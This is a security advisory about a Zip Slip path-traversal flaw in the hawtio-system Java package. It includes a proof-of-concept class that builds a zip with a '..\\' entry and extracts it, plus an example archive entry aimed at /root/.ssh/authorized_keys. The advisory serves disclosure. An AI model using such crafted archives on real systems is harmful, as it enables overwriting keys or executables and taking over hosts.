Arbitrary File Write via Archive Extraction (Zip Slip) Affecting io.hawt:hawtio-system package, versions [,3.0-M7)

io.hawt:hawtio-system is a hawtio package for creating a Java modular web console.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) via the unzip method. It is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite.

import io.hawt.util.Zips;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

/**
 * 在Hawtio中存在unZip方法，可能有路径穿越的问题
 */
public class HawtioUnzip {

//https://github.com/hawtio/hawtio/blob/268bca24c61c88c76ea661533514082954e38ed5/hawtio-util/src/main/java/io/hawt/util/Zips.java#L111
    public static void main(String[] args) throws IOException {
        zip();  // create a poc

        String zipFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip";
        String destination = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip";
        InputStream in = new FileInputStream(zipFile);
        Zips.unzip(in, new File(destination));
    }

    // create a poc
    public static void zip() {
        ZipOutputStream zos = null;
        try {
            zos = new ZipOutputStream(new FileOutputStream(
                    "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip"));
            String srcFile = "..\\..\\a\\b\\c\\poc.txt";  // the next filePath
            String destFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.txt";
            zos.putNextEntry(new ZipEntry(srcFile));
            FileInputStream in = new FileInputStream(destFile);
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) != -1) {
                zos.write(buf, 0, len);
            }
            zos.closeEntry();
            in.close();
        } catch (Exception e) {
            throw new RuntimeException("zip error from ZipUtils", e);
        } finally {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

• GitHub Commit
• GitHub Issue